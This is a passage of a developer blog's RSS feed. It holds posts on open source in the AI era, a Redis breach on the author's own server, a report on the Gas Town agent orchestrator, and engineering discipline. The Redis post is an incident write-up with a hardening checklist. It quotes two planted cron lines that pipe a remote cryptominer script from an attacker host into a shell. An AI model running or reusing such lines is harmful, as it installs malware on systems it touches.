Bazaar</em>, the essay that became open source&#8217;s origin story. The argument was simple: software built like a cathedral &#8212; centrally planned, tightly controlled, released when perfect &#8212; loses to software built like a bazaar &#8212; messy, open, iterated in public by a swarm of contributors.</p><p>Linux beat the cathedral. The bazaar won. Raymond&#8217;s most famous line became gospel: &#8220;Given enough eyeballs, all bugs are shallow.&#8221;</p><p>Twenty-nine years later, the eyeballs are disappearing. The bazaar is starving. And a new kind of cathedral has risen &#8212; one Raymond never imagined.</p><h2><strong>Cheap Labor Doesn&#8217;t Flow to Maintenance</strong></h2><p>Here&#8217;s the disconnect: AI-generated labor isn&#8217;t flowing to maintenance. It&#8217;s flowing to creation.</p><p>Vibe coding doesn&#8217;t fix bugs in abandoned logging libraries. It generates new apps. Agents build what they&#8217;re told, and nobody tells them &#8220;go triage issues on this unglamorous project that 40,000 packages depend on.&#8221;</p><p>Raymond&#8217;s bazaar worked because contributors had intrinsic motivation &#8212; they scratched their own itch. Agents don&#8217;t have itches. They have prompts.</p><p>The result: an explosion of new software built on a foundation that&#8217;s slowly rotting.</p><h2><strong>Linus&#8217;s Law Is Breaking</strong></h2><p>Raymond&#8217;s key insight was that open development creates a natural immune system. Bugs get caught because many eyes are watching. The bazaar is self-correcting.</p><p>This assumed two things that were true in 1997 and are increasingly false today:</p><p><strong>First, that someone wrote the code.</strong> Vibe-coded software often has no human author who deeply understands it. The person who prompted it into existence may not be able to read it. The &#8220;author&#8221; is a model trained on the commons, producing plausible-looking code that works until it doesn&#8217;t. I&#8217;ve <a href="https://lakshminp.substack.com/p/claude-code-is-incredible-it-also">written about this failure mode</a> &#8212; code that compiles, passes tests, and is subtly, catastrophically wrong.</p><p><strong>Second, that someone reads the code.</strong> Open source review depends on humans who care enough to look. But when code is generated at machine speed, the review bottleneck becomes catastrophic. Maintainers are already drowning in AI-generated pull requests &#8212; superficially clean, structurally hollow. The immune system is being overwhelmed not by attackers, but by well-meaning slop.</p><p>&#8220;Given enough eyeballs, all bugs are shallow&#8221; only works if the eyeballs are open.</p><h2><strong>The New Cathedral</strong></h2><p>Raymond&#8217;s cathedral was Microsoft. Proprietary, closed, top-down. The bazaar beat it because openness was a structural advantage &#8212; more contributors, faster iteration, better feedback loops.</p><p>But look at what the bazaar runs on today.</p><p>Every vibe coder, every AI-assisted open source contributor, every agent spinning up code in a terminal &#8212; they&#8217;re all downstream of foundation models built inside the most cathedral-like institutions imaginable. Anthropic, OpenAI, Google DeepMind &#8212; these are cathedrals that would make 1990s Microsoft blush. Billions in compute, proprietary training data, closed weights, trade secrets wrapped in safety rhetoric.</p><p>The bazaar didn&#8217;t defeat the cathedral. It moved in upstairs.</p><p>Open source in 2026 means building with tools you can&#8217;t inspect, trained on data you can&#8217;t audit, controlled by companies whose incentives you can&#8217;t verify. The irony would make Raymond&#8217;s head spin: the most &#8220;open&#8221; era of software creation runs entirely on the most closed infrastructure ever built.</p><h2><strong>Vibe Coding: Raymond&#8217;s Dream or Nightmare?</strong></h2><p>&#8220;Release early, release often.&#8221; Raymond preached this as the bazaar&#8217;s core advantage. Vibe coding takes it to its logical extreme &#8212; release in minutes, iterate in seconds, ship before lunch.</p><p>But Raymond&#8217;s version had a crucial qualifier nobody quotes: rapid releases were supposed to come with <em>listening to your users</em>. The feedback loop was the point. Ship fast so you can learn fast.</p><p>Vibe coding often skips the loop. Ship fast because shipping is easy. If it breaks, generate a new one. Software becomes disposable. Why debug when you can re-prompt?</p><p>This creates a bizarre inversion. The original bazaar was messy but <em>convergent</em> &#8212; many contributors pushing toward better software over time. The vibe-coded bazaar is messy and <em>divergent</em> &#8212; infinite forks, infinite rewrites, nothing accumulating into lasting infrastructure.</p><p>Raymond imagined a thousand people improving one thing. We got one person generating a thousand things.</p><h2><strong>Does Open Source Even Matter the Same Way?</strong></h2><p>Here&#8217;s the uncomfortable question: if anyone can vibe-code a replacement for your library in an afternoon, what does &#8220;open source&#8221; even mean?</p><p>The traditional argument was access. You shouldn&#8217;t have to pay Microsoft for a compiler. You shouldn&#8217;t be locked into Oracle&#8217;s database. Open source was freedom from vendor dependence.</p><p>But when the vendor is an AI model and the product is generated on demand, the bottleneck shifts. You&#8217;re not locked into specific software &#8212; you&#8217;re locked into the <em>capability to generate software</em>. The dependency moved up a layer of abstraction.</p><p>Open source used to mean: &#8220;here&#8217;s the code, do what you want.&#8221; The new version might mean: &#8220;here&#8217;s the model weights, do what you want.&#8221; And by that standard, most of the AI industry is firmly in cathedral territory.</p><h2><strong>What Raymond Got Right (That Still Holds)</strong></h2><p>It&#8217;s tempting to write the obituary for the bazaar. Don&#8217;t.</p><p>Raymond&#8217;s deepest insight wasn&#8217;t about code &#8212; it was about <em>coordination</em>. The bazaar demonstrated that loose networks of motivated people could outperform rigid hierarchies. That insight is more relevant than ever.</p><p>The projects that will thrive in the agent era won&#8217;t be the ones with the most AI-generated PRs. They&#8217;ll be the ones that figure out how to coordinate human judgment with machine labor. Someone still has to decide what&#8217;s worth building. Someone still has to say &#8220;this PR is slop, reject it.&#8221; Someone still has to maintain taste.</p><p>The bazaar&#8217;s immune system isn&#8217;t dead &#8212; it just needs to evolve. Instead of &#8220;many eyes on the code,&#8221; we need &#8220;many minds on the direction.&#8221; Maintainers become curators. Contributors become reviewers. The scarce resource isn&#8217;t writing code anymore. It&#8217;s knowing which code to keep.</p><p>Raymond was right that openness wins. He was right that central planning can&#8217;t compete with distributed intelligence. He was right that scratching your own itch produces better software than building to spec.</p><p>He just couldn&#8217;t have predicted that the itch would be scratched by a machine that doesn&#8217;t know what itching feels like.</p><div><hr></div><p><em>The Cathedral and the Bazaar assumed humans on both sides of the screen. We&#8217;re entering an era where that assumption breaks down. The principles survive. The implementation needs an upgrade.</em></p><p><strong>What do you think &#8212; is the bazaar adapting or dying? Reply and tell me.</strong></p>]]></content:encoded></item><item><title><![CDATA[Your Redis Is Probably Naked Right Now]]></title><description><![CDATA[A solo dev security horror story with a very short checklist]]></description><link>https://blog.lakshminp.com/p/redis-security-exposed</link><guid isPermaLink="false">https://blog.lakshminp.com/p/redis-security-exposed</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Mon, 02 Feb 2026 04:01:11 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/b55720c5-62ec-4afa-90ef-1f7ca7c81d6e_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Last month I wrote about <a href="https://lakshminp.substack.com/p/i-found-a-cryptominer-in-my-clients">finding a cryptominer in a client&#8217;s Kubernetes cluster</a>. CVSS 10. Next.js RCE. Classic supply chain story. I got to play detective, feel smart, and write about it.</p><p>This month the cryptominer came for <em>me</em>.</p><div><hr></div><p><em>Hey, I&#8217;m Lakshmi &#8212; I help developers build, deploy, and distribute their SaaS without hiring a team. I also run <a href="https://stacksweller.com/?utm_source=substack&amp;utm_medium=blog&amp;utm_campaign=intro_blurb">Stacksweller</a> and <a href="https://supabyoi.com/">Supabyoi</a>.</em></p><p><em>New here? Start with <a href="https://blog.lakshminp.com/p/ai-agent-memory-persistence">Why Your AI Wakes Up Every Morning With No Memory</a> or <a href="https://blog.lakshminp.com/p/clean-code-dead-clean-specs">Clean Code Is Dead</a>.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.lakshminp.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.lakshminp.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><p>Saturday night. Tamil movie with my wife. Sentry pings: &#8220;Write against read-only replica.&#8221; Seventy-four times in two hours.</p><p>My first instinct was to ignore it. Background task failures. Probably a blip. But seventy-four errors is not a blip. That&#8217;s someone inside your house rearranging the furniture.</p><p>&#8220;Two minutes,&#8221; I told my wife. (Spoiler: It was not two minutes.)</p><h3><strong>The Dumbest Thing I&#8217;ve Done in 20 Years</strong></h3><p>I run a scheduling service &#8212; Celery task queue backed by Redis, deployed with Kamal on a Hetzner VPS. Standard solo dev stack. The kind of thing I literally help people set up.</p><p>Here&#8217;s the confession: Redis port 6379 was exposed to the public internet. No password. No authentication. For months.</p><p>I copied a deployment config. It worked. I shipped. I moved on to the next feature. Sound familiar?</p><p>An automated scanner found it. At 22:25 UTC, IP <code>46.19.137.194</code> sent a <code>SLAVEOF</code> command &#8212; telling my Redis to replicate from their command-and-control server. My Redis complied. For five seconds it went read-only, Celery workers started screaming, and the attacker planted two keys:</p><pre><code><code>backup1: */2 * * * * root curl -fsSL http://natalstatus.org/ep9TS2/ndt.sh | sh
backup3: */4 * * * * root curl -fsSL http://103.79.77.16/ep9TS2/ndt.sh | sh</code></code></pre><p>Cryptominer installation scripts. Every two minutes. On my $12/month VPS.</p><p>The payloads never made it to crontab &#8212; the attack chain didn&#8217;t complete. But they were sitting in my Redis like loaded guns.</p><h3><strong>The Twenty-Minute Fix</strong></h3><p>Remove the public port mapping. Add a password. Done.</p><pre><code><code># Before: come one, come all
redis:
  port: 6379
  cmd: redis-server --appendonly yes

# After: invitation only
redis:
  cmd: redis-server --appendonly yes --requirepass &lt;32-char-password&gt;</code></code></pre><p>Then <code>ufw deny 6379/tcp</code>, block the attacker IPs, delete the malicious keys. Sentry goes quiet. Movie resumes.</p><p>Twenty minutes to fix. Thirty seconds to have prevented.</p><h3><strong>The Pattern I Keep Seeing</strong></h3><p>Here&#8217;s what gets me. Last month it was a client &#8212; Next.js RCE, CVSS 10, dependency they forgot to update. This month it&#8217;s me &#8212; a port mapping I forgot to question.</p><p>Neither attack was sophisticated. Both exploited the gap between &#8220;it works&#8221; and &#8220;it&#8217;s secure.&#8221; The gap that widens every time you&#8217;re shipping fast, solo, with three other things on your plate.</p><p>When you&#8217;re the entire engineering team, you&#8217;re also the entire security team. There&#8217;s no infra review. No SOC watching at 10 PM. It&#8217;s you, your monitoring, and whatever defaults you didn&#8217;t question.</p><p>I&#8217;ve been doing infrastructure for twenty years, and I still shipped an unauthenticated Redis to production. Because the config worked and I had features to build.</p><h3><strong>This Is Why I&#8217;m Building VMKit</strong></h3><p>Every time I deploy something to a VPS, I&#8217;m making fifty decisions that could go wrong. Port mappings. Firewall rules. Authentication. TLS. Container networking. Every one of them is a potential Saturday night incident.</p><p><a href="https://vmkit.dev/">VMKit</a> is my answer to this. Railway-like deployment experience on your own infrastructure &#8212; but with sane defaults baked in. No exposed ports unless you explicitly ask for them. Internal networking by default. The kind of guardrails that would have prevented this entire post from existing.</p><p>Because solo devs shouldn&#8217;t have to be security experts to deploy a Redis instance. The tooling should handle the boring, critical stuff so you can focus on the features that actually make money.</p><p>I&#8217;m building it because I keep shooting myself in the foot, and I&#8217;m tired of the limp.</p><h3><strong>Your Five-Minute Audit</strong></h3><p>If you&#8217;re running Redis, PostgreSQL, MongoDB, or Elasticsearch on a VPS right now:</p><ol><li><p><code>docker compose config | grep -i port</code> &#8212; anything bound to <code>0.0.0.0</code>? Kill it unless it needs public access.</p></li><li><p><strong>Add authentication to everything.</strong> Redis doesn&#8217;t require a password by default. This is unhinged, but here we are.</p></li><li><p><strong>Set up Sentry or equivalent.</strong> Without error monitoring, I&#8217;d have a cryptominer running and a confused electricity bill.</p></li><li><p><code>ufw status</code><strong>.</strong> If the output surprises you, that&#8217;s your sign.</p></li><li><p><strong>Default deny.</strong> Allow only 22, 80, 443. Everything else is closed until you need it.</p></li></ol><p>The attacker didn&#8217;t use a zero-day. They used Shodan, an open port, and my negligence. That&#8217;s the most common attack vector for solo-deployed SaaS, and it&#8217;s entirely preventable.</p><p>Don&#8217;t be me on a Saturday night. Five minutes. Audit your configs.</p><p>Your future self &#8212; and your wife &#8212; will thank you.</p>]]></content:encoded></item><item><title><![CDATA[What Happens When You Let 6 AI Agents Write Code at the Same Time]]></title><description><![CDATA[A field report from the bleeding edge of AI-assisted development]]></description><link>https://blog.lakshminp.com/p/6-ai-agents-coding-experiment</link><guid isPermaLink="false">https://blog.lakshminp.com/p/6-ai-agents-coding-experiment</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Thu, 29 Jan 2026 10:12:10 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/6463dd85-e5be-48c5-9bce-d7ab15286ea5_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Steve Yegge released <a href="https://github.com/steveyegge/gastown">Gas Town</a> on January 1st, 2026. An agent orchestrator for Claude Code. Multiple AI agents working in parallel, coordinated through git-backed task tracking, communicating via an internal mail system. The pitch: stop babysitting one Claude session. Run twenty.</p><p>His first rule: don&#8217;t use this in its first weeks.</p><p>I used it in its first week.</p><div><hr></div><p><em>Hey, I&#8217;m Lakshmi &#8212; I help developers build, deploy, and distribute their SaaS without hiring a team. I also run <a href="https://stacksweller.com/?utm_source=substack&amp;utm_medium=blog&amp;utm_campaign=intro_blurb">Stacksweller</a> and <a href="https://supabyoi.com/">Supabyoi</a>.</em></p><p><em>New here? Start with <a href="https://blog.lakshminp.com/p/ai-agent-memory-persistence">Why Your AI Wakes Up Every Morning With No Memory</a> or <a href="https://blog.lakshminp.com/p/clean-code-dead-clean-specs">Clean Code Is Dead</a>.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.lakshminp.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.lakshminp.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><h2><strong>Why I Couldn&#8217;t Wait</strong></h2><p>I work across four projects solo. SaaS products, open source tools, content &#8212; the usual indie dev plate-spinning. Every Claude Code session I run is one session I&#8217;m not running somewhere else. The promise of parallel agents shipping code while I context-switch between projects was too compelling to resist.</p><p>So I installed Gas Town, added my projects as &#8220;rigs,&#8221; groomed six tasks into &#8220;beads,&#8221; and spawned six workers simultaneously.</p><p>My M2 MacBook responded by becoming a space heater that couldn&#8217;t render a terminal.</p><h2><strong>What Gas Town Actually Is</strong></h2><p>Before I explain what went wrong, let me translate the concepts. Gas Town uses Mad Max-inspired naming, which is either charming or maddening depending on your patience.</p><p><strong>Town</strong> &#8212; Your workspace root (<code>~/gt/</code>). Think of it as the factory floor where everything lives.</p><p><strong>Rig</strong> &#8212; A project container. Each of your repos becomes a rig inside the town. Not a git clone itself, but a wrapper that manages clones, worktrees, and workers for that project.</p><p><strong>Beads</strong> &#8212; A git-backed issue tracker, also built by Steve. Every task, bug, or feature is a &#8220;bead&#8221; with a unique ID like <code>supabyoi-9ue</code>. They live in your repo&#8217;s <code>.beads/</code> directory, committed alongside your code. Dependencies between beads create a task graph. I wrote about <a href="https://lakshminp.substack.com/p/why-your-ai-wakes-up-every-morning">why this matters</a> &#8212; AI agents lose all context when sessions end. Beads solve this by making work persist in git. This is the piece that genuinely works well.</p><p><strong>Mayor</strong> &#8212; The global coordinator agent. You talk to the mayor, the mayor dispatches work. It sits above all rigs and orchestrates across projects.</p><p><strong>Polecat</strong> &#8212; An ephemeral worker agent. Gets spawned with a task, works in its own git worktree, signals completion, gets cleaned up. The grunt labor.</p><p><strong>Witness</strong> &#8212; Per-rig monitor that watches polecats. Detects stuck workers, nudges them, handles cleanup.</p><p><strong>Deacon</strong> &#8212; Town-level watchdog that patrols all rigs. Monitors witnesses, refineries, everything.</p><p><strong>Refinery</strong> &#8212; Per-rig merge queue processor. When a polecat finishes, the refinery handles the PR/merge workflow.</p><p><strong>Convoy</strong> &#8212; Batch tracker for related work. Group six beads into a convoy, dispatch them, track progress as a unit.</p><p><strong>Molecules</strong> &#8212; Reusable workflow templates. Formula defines the pattern, molecule is the running instance.</p><p>That&#8217;s ten concepts before you write a line of code. Steve&#8217;s mental model is a steam engine: agents are pistons, work flows through hooks, everything runs on the &#8220;Propulsion Principle&#8221; &#8212; if you find work on your hook, you execute immediately.</p><p>The architecture borrows from Erlang&#8217;s supervisor trees(I think) &#8212; a pattern from telecom systems where processes are organized in a hierarchy. Each parent monitors its children: if a child crashes, the parent restarts it. In Gas Town, the Deacon watches Witnesses, Witnesses watch Polecats, and failures cascade upward. This is a proven pattern that runs phone switches serving millions of calls. The catch: Erlang processes are lightweight (microseconds to spawn, kilobytes of memory). Claude Code sessions are heavy (seconds to spawn, gigabytes of memory). When each &#8220;process&#8221; is a full AI session burning tokens, the economics of cheap failure recovery invert.</p><h2><strong>What Actually Happened</strong></h2><h3><strong>Week One: The Learning Curve</strong></h3><p>The first session was pure orientation. I needed Claude to explain Gas Town to me <em>while inside Gas Town</em>. The cognitive overhead of mapping &#8220;polecat&#8221; to &#8220;worker&#8221; and &#8220;rig&#8221; to &#8220;project&#8221; consumed real mental energy that should have gone to actual work.</p><p>The 80/20 path is supposed to be:</p><pre><code><code>gt up          # Boot everything
gt mayor attach  # Talk to the mayor</code></code></pre><p>In practice, <code>gt up</code> failed because the bd (beads daemon) version check timed out. This led me down a rabbit hole patching the version comparison in Go &#8212; changing <code>time.Equal()</code> to <code>time.Unix()</code> because JSON serialization was losing nanosecond precision. I was debugging the orchestrator instead of using it.</p><h3><strong>Week Two: Six Polecats and a Space Heater</strong></h3><p>Once things stabilized, I got ambitious. Six beads groomed, six polecats spawned:</p><pre><code><code>gt sling supabyoi-9ue supabyoi
gt sling supabyoi-abc supabyoi
# ... four more</code></code></pre><p>Each polecat is a full Claude Code session in its own tmux pane with its own git worktree. Six of those plus a mayor, witnesses, refineries, deacons, and multiple bd daemons meant my M2 was running 20+ processes competing for resources.</p><p>The system didn&#8217;t crash. It degraded. Commands took minutes to respond. Shell execution broke mid-session. I had to kill processes manually and nuke the setup.</p><p>But here&#8217;s the thing &#8212; that wasn&#8217;t entirely Gas Town&#8217;s fault. Six concurrent Claude sessions will hammer any laptop. The real issue was that Gas Town spawned orphaned daemon processes that accumulated across restarts. I found six bd daemons running simultaneously, plus stuck <code>bd mol burn</code> processes from days ago that never cleaned up.</p><h3><strong>The Doctor Loop</strong></h3><p>Gas Town has a <code>gt doctor</code> command &#8212; a health check that reports errors and warnings. I ran it constantly.</p><p>First run: 1 error, 11 warnings. After <code>gt doctor --fix</code>: 4 fixed, 7 remaining. After restart: new errors. After bd daemon restart: timeout errors. After updating bd from v0.47.0 to v0.47.2: different errors.</p><p>Each fix revealed the next problem. The mayor&#8217;s <a href="http://claude.md/">CLAUDE.md</a> was 280 lines (should be under 30). Environment variables from dead sessions broke prefix routing. Beads databases pointed to wrong paths. Symlinks needed codesigning to avoid macOS killing the binary.</p><p>It felt less like using a tool and more like being a system administrator for a tool.</p><h3><strong>What Genuinely Works</strong></h3><p><strong>Beads</strong>: The git-backed issue tracker is solid. Creating tasks, tracking dependencies, finding ready work &#8212; this layer does its job. It survived every crash and restart because it&#8217;s just files in git. Steve built Beads as a standalone tool before Gas Town, and it&#8217;s the strongest foundation in the stack.</p><p><strong>Worktree isolation</strong>: Each worker gets its own git worktree. No merge conflicts between parallel work. Clean separation. This is the right primitive.</p><p><strong>The hub/worker model</strong>: Having a coordinator dispatch tasks to isolated workers is correct. The mental model of &#8220;groom beads, dispatch to workers, merge results&#8221; is sound.</p><p><strong>gt doctor</strong>: Despite the loop, having a comprehensive health check that can auto-fix common issues is genuinely useful infrastructure.</p><h3><strong>What Doesn&#8217;t Work Yet</strong></h3><p><strong>Daemon management</strong>: Orphaned processes are the #1 pain. bd daemons accumulate, stuck processes never clean up, version checks timeout. This is being fixed &#8212; v0.5.0 added process group killing &#8212; but it was brutal in weeks one and two.</p><p><strong>The naming</strong>: I&#8217;m not trying to be uncharitable. But &#8220;polecat&#8221; adds zero information over &#8220;worker.&#8221; &#8220;Molecule&#8221; adds confusion over &#8220;workflow.&#8221; Every conversation about Gas Town requires a glossary. When a Hacker News commenter pointed out the irony &#8212; Steve Yegge wrote &#8220;Execution in the Kingdom of Nouns&#8221; mocking over-abstraction &#8212; it stung because it&#8217;s accurate.</p><p><strong>Human as dispatcher</strong>: This is the core limitation. Despite all the automation, the mayor waits for you. Issue #694 on GitHub tracks exactly this: &#8220;Mayor lacks automated dispatch patrol molecule.&#8221; Community members built external cron scripts to poke the system. That tells you everything.</p><p><strong>Cost and resource usage</strong>: Multiple reports of $100/hour token burn rates. DoltHub&#8217;s field test found none of the PRs were good enough to merge. The economics only work if the agents produce mergeable code reliably.</p><h2><strong>What I&#8217;m Building Instead</strong></h2><p>Gas Town taught me what I need. It also taught me what I don&#8217;t.</p><p>I wrote about <a href="https://lakshminp.substack.com/p/why-im-building-an-agent-orchestrator">why I&#8217;m building my own agent orchestrator</a>. It&#8217;s called <code>wt</code>. The core idea: keep the infrastructure that works (beads, worktrees, tmux), strip the ceremony that doesn&#8217;t (polecats, molecules, deacons, refineries).</p><p>Where Gas Town has ten concepts, <code>wt</code> has three: <strong>hub</strong>, <strong>worker</strong>, <strong>task</strong>. That&#8217;s it.</p><p>The hub coordinates. Workers execute in isolated worktrees. Tasks are beads with dependencies. No mail system, no witness layer, no convoy abstraction. If a worker finishes, the hub sees it in the dashboard. If a worker gets stuck, you look at the terminal. No intermediate monitoring agent needed.</p><p>The key difference: <code>wt</code> is a pluggable orchestrator. Each project gets its own config &#8212; yolo mode for prototypes (no tests, auto-merge, maximum speed), strict mode for production code (tests required, PR review, quality gates), or anything in between. Gas Town is one-size-fits-all. Real projects aren&#8217;t.</p><p>It&#8217;s early. But two weeks of wrestling Gas Town gave me the blueprint for what comes next.</p><h2><strong>What I&#8217;m Taking Away</strong></h2><p>Gas Town is a research prototype that got released into the wild. Steve warned people. I didn&#8217;t listen.</p><p>But I don&#8217;t regret it. Two weeks of wrestling gave me clarity about what agent orchestration actually needs:</p><ol><li><p><strong>Beads (or equivalent) is non-negotiable.</strong> Git-backed task tracking with dependencies is the foundation. Without it, agents have no memory across sessions.</p></li><li><p><strong>Worktree isolation is the right primitive.</strong> One agent, one worktree, no conflicts. Simple and correct.</p></li><li><p><strong>The hub/worker model works &#8212; if the hub is smart.</strong> The dispatcher problem is the real unsolved challenge. Manual dispatch defeats the purpose.</p></li><li><p><strong>Simplicity beats power.</strong> Three concepts (hub, worker, task) cover 90% of the use cases. Ten concepts with Mad Max names cover 95% but cost you 5x the cognitive overhead.</p></li><li><p><strong>Your laptop has limits.</strong> Two to three concurrent workers is practical on a MacBook. Six is aspirational. Twenty is a data center problem.</p></li></ol><p>Steve Yegge is doing genuinely new work here. Nobody else has shipped a multi-agent orchestrator for Claude Code with this level of ambition. The HN comment that stuck with me: &#8220;Gas Town is cackling mad laughter from someone both insane and prescient simultaneously. Today it&#8217;s insane. But expect serious versions in the future informed by these early experiments.&#8221;</p><p>I broke the first rule. I&#8217;d do it again. Just maybe with fewer polecats next time.</p>]]></content:encoded></item><item><title><![CDATA[Software Engineering Is Dead, or Is It?]]></title><description><![CDATA[The boring stuff was load-bearing all along.]]></description><link>https://blog.lakshminp.com/p/software-engineering-dead</link><guid isPermaLink="false">https://blog.lakshminp.com/p/software-engineering-dead</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Tue, 27 Jan 2026 15:32:16 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/e815514d-93e9-489b-9773-d32e2c7ba8c8_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Everyone said agentic coding would kill software engineering discipline. Turns out it killed the <em>wrong</em> disciplines.</p><div><hr></div><p><em>Hey, I&#8217;m Lakshmi &#8212; I help developers build, deploy, and distribute their SaaS without hiring a team. I also run <a href="https://stacksweller.com/?utm_source=substack&amp;utm_medium=blog&amp;utm_campaign=intro_blurb">Stacksweller</a> and <a href="https://supabyoi.com/">Supabyoi</a>.</em></p><p><em>New here? Start with <a href="https://blog.lakshminp.com/p/ai-agent-memory-persistence">Why Your AI Wakes Up Every Morning With No Memory</a> or <a href="https://blog.lakshminp.com/p/clean-code-dead-clean-specs">Clean Code Is Dead</a>.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.lakshminp.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.lakshminp.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><p>Clean code? <a href="https://lakshminp.substack.com/p/clean-code-is-dead-long-live-clean">Dead</a>. Nobody&#8217;s hand-crafting variable names when Claude generates 500 lines in 30 seconds. But TDD, specs-driven development, domain-driven design &#8212; the stuff we used to skip because it felt like ceremony? That&#8217;s the load-bearing wall now. Tear it out and the whole thing collapses.</p><h2><strong>TDD: The Cache That Wasn&#8217;t</strong></h2><p>I had Claude Code build me a Redis caching module. Proper TTLs. Cache invalidation on writes. Unit tests passing. Beautiful, elegant, chef&#8217;s-kiss code.</p><p>One problem. The actual query functions never called the caching layer.</p><p>Hundreds of requests later, I checked Redis. Empty. A pristine, untouched Redis instance, sitting there like a museum exhibit. <a href="https://lakshminp.substack.com/p/claude-code-is-incredible-it-also">I&#8217;ve written about these failure patterns before</a> &#8212; this one hurt the most.</p><p>Integration tests would have caught it. But only if I&#8217;d written them <em>first</em>. That&#8217;s the part everyone skips &#8212; writing the verification before the implementation. TDD forces you to define &#8220;done&#8221; before the agent starts building. Without it, you get beautiful isolated components that nobody wired together.</p><p>This isn&#8217;t hypothetical. An r/programming thread (894 upvotes) nailed it: &#8220;We&#8217;re getting correct code, but not right code.&#8221; One reviewer found AI-generated Java using the default ForkJoinPool for I/O-bound tasks. Compiles fine. Passes unit tests. Catastrophic under load.</p><p>My favorite was the &#8220;chief architect&#8221; who generated &#8220;full coverage&#8221; unit tests with Copilot. Duplicate asserts. Unused service constructions. Tests that passed but tested nothing. A green CI pipeline that was essentially a participation trophy.</p><p>TDD isn&#8217;t ceremony anymore. It&#8217;s the spec your agent actually follows.</p><h2><strong>Specs-Driven Development: The Authentication Amnesia</strong></h2><p>I spent two weeks pair-programming authentication with Claude Code. We tracked race conditions together. Debated RS256 vs HS256. Built a shared understanding of every edge case.</p><p>Then compaction hit.</p><p>&#8220;Where did we leave off?&#8221;</p><p>&#8220;I don&#8217;t have information about previous sessions.&#8221;</p><p>Two weeks of context. Gone. My <a href="http://todo.md/">TODO.md</a> became a graveyard of cryptic notes that made sense to exactly nobody, including me three days later. <a href="https://lakshminp.substack.com/p/why-your-ai-wakes-up-every-morning">I wrote the full horror story here</a>.</p><p>So I started using a git-backed issue tracker with dependency graphs that persists across agent sessions. Sprints and epics stopped being PM ceremony and became the agent&#8217;s memory. The control plane for multi-session work.</p><p>The pattern scales beyond my personal disasters. An r/programming post titled &#8220;The era of AI slop cleanup has begun&#8221; (4,200 upvotes) described a freelancer who keeps getting hired to fix AI-generated codebases. &#8220;It mostly works, but does so terribly.&#8221; The missing ingredient every single time: no structured planning, no phased delivery. Just vibes and a prompt.</p><p>Fred Brooks said it decades ago, and r/ExperiencedDevs rediscovered it (1,400 upvotes): &#8220;Once requirements are fully expressed, their information content is fixed. You can change surface syntax, but you can&#8217;t compress semantics.&#8221;</p><p>You can&#8217;t skip the thinking. You can only skip writing it down &#8212; and then you pay for it later when your agent wakes up with amnesia.</p><h2><strong>DDD: The Firewall Agents Can&#8217;t Generate</strong></h2><p>Here&#8217;s a <a href="https://reddit.com/r/programming/comments/1nxobte/the_phantom_author_in_our_codebases_why/">Reddit thread</a> that lives in my head rent-free. Someone described the &#8220;Phantom Author&#8221; problem &#8212; only domain experts catch the subtle flaws agents produce. The code compiles. The tests pass. The logic is plausible. But it&#8217;s <em>wrong</em> in ways only someone who understands the domain would notice.</p><p>The punchline: &#8220;Ironically the only people who should be using AI are people who are already experts.&#8221;</p><p>Bounded contexts &#8212; the core DDD concept &#8212; are the firewall. They tell the agent where one domain ends and another begins. Without that modeling, agents connect everything to everything. Your billing module knows about your notification preferences. Your auth layer has opinions about your recommendation engine.</p><p>Agents can&#8217;t generate domain boundaries because domain boundaries come from understanding the business, not the code. That&#8217;s your job. The agent&#8217;s job is everything inside the boundary.</p><h2><strong>The Punchline</strong></h2><p>The disciplines that survived aren&#8217;t the ones that made code pretty. They&#8217;re the ones that tame complexity.</p><p>TDD tells the agent what &#8220;done&#8221; means. Specs give it memory across sessions. DDD gives it boundaries it can&#8217;t infer on its own.</p><p>We didn&#8217;t need less engineering discipline. We needed <em>different</em> engineering discipline. The ceremony is dead. The structure is mandatory.</p>]]></content:encoded></item><item><title><![CDATA[The AI Productivity Paradox: Why I'm Working More Than Ever]]></title><description><![CDATA[I get more done in a day than I used to in a week. I've also never been this tired.]]></description><link>https://blog.lakshminp.com/p/ai-productivity-paradox</link><guid isPermaLink="false">https://blog.lakshminp.com/p/ai-productivity-paradox</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Mon, 26 Jan 2026 08:32:29 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/37780d46-5bf5-4b42-9956-33780988c2da_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I had a conversation with a friend last week that I can&#8217;t stop thinking about.</p><div><hr></div><p><em>Hey, I&#8217;m Lakshmi &#8212; I help developers build, deploy, and distribute their SaaS without hiring a team. I also run <a href="https://stacksweller.com/?utm_source=substack&amp;utm_medium=blog&amp;utm_campaign=intro_blurb">Stacksweller</a> and <a href="https://supabyoi.com/">Supabyoi</a>.</em></p><p><em>New here? Start with <a href="https://blog.lakshminp.com/p/ai-agent-memory-persistence">Why Your AI Wakes Up Every Morning With No Memory</a> or <a href="https://blog.lakshminp.com/p/clean-code-dead-clean-specs">Clean Code Is Dead</a>.</em></p><p class="button-wrapper" 